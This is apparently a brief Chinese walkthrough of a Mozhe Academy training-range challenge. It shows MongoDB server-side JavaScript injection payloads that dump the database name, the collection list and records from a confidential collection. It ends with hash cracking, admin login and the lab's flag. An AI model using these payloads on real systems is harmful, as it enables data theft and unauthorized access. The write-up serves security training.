MongoDB 是⼀个基于分布式文件存储的数据库。由 C++ 语言编写。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案
MongoDB 是⼀个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最富,最像关系数据库的。MongoDB 将数据存储为⼀个文档,数据结构由键值(key=>value)对组成

靶场地址:SQL手工注入漏洞测试(MongoDB数据库)_SQL注入_在线靶场_墨者学院_专注于网络安全人才培养
第一步:
给出的源码...可以看到数据库查询的语句如下..构造回显测试..
var data= db.notice.findOne({'id':'$id'});return data;
传⼊的数据是$id。注意到可以通过闭合 "({'" 来构造payload 因为返回的数据是$obj['retval']['title']与$obj['retval']['content'],可以尝试return({title:'1',content:'2'})来构造回显测试
id=1'});return({title:'1',content:'2

第二步:查询数据库库名
获取数据库名称:
id=1'});return({title:tojson(db),content:'2

第三步:查询数据库表名
id=1'});return({title:tojson(db.getCollectionNames()),content:'2

第四步:查询数据库字段值
id=1'});return({title:tojson(db.Authority_confidential.find()[0]),content:'2

id=1'});return({title:tojson(db.Authority_confidential.find()[1]),content:'2

第五步:cmd5解密
第六步:登录后台


KEY:mozhe82a